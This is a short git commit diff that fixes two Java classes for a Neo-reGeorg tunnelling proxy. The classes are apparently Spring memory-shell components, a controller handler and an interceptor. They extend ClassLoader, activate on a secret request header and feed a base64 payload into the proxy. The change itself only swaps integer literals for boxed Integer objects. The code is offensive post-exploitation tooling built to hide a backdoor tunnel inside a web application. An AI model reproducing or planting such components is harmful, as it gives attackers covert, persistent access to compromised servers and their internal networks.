fix: NeoreGeorg proxy not work

This commit is contained in:
ReaJason
2025-02-28 23:24:31 +08:00
parent dfd6328494
commit 452e057bd1
7 changed files with 48 additions and 91 deletions
@@ -40,6 +40,7 @@ public class NeoreGeorgControllerHandler extends ClassLoader implements Controll
}
@SuppressWarnings("all")
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
@@ -48,14 +49,14 @@ public class NeoreGeorgControllerHandler extends ClassLoader implements Controll
response,
chars.toCharArray(),
base64Bytes,
200,
513,
524288,
new Integer(200),
new Integer(513),
new Integer(524288),
hello,
1447564139,
0,
0,
0,
new Integer(1447564139),
new Integer(0),
new Integer(0),
new Integer(0),
};
if (namespace.get(chars) == null) {
@@ -40,6 +40,7 @@ public class NeoreGeorgInterceptor extends ClassLoader implements AsyncHandlerIn
}
@Override
@SuppressWarnings("all")
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
@@ -48,14 +49,14 @@ public class NeoreGeorgInterceptor extends ClassLoader implements AsyncHandlerIn
response,
chars.toCharArray(),
base64Bytes,
200,
513,
524288,
new Integer(200),
new Integer(513),
new Integer(524288),
hello,
1447564139,
0,
0,
0,
new Integer(1447564139),
new Integer(0),
new Integer(0),
new Integer(0),
};
if (namespace.get(chars) == null) {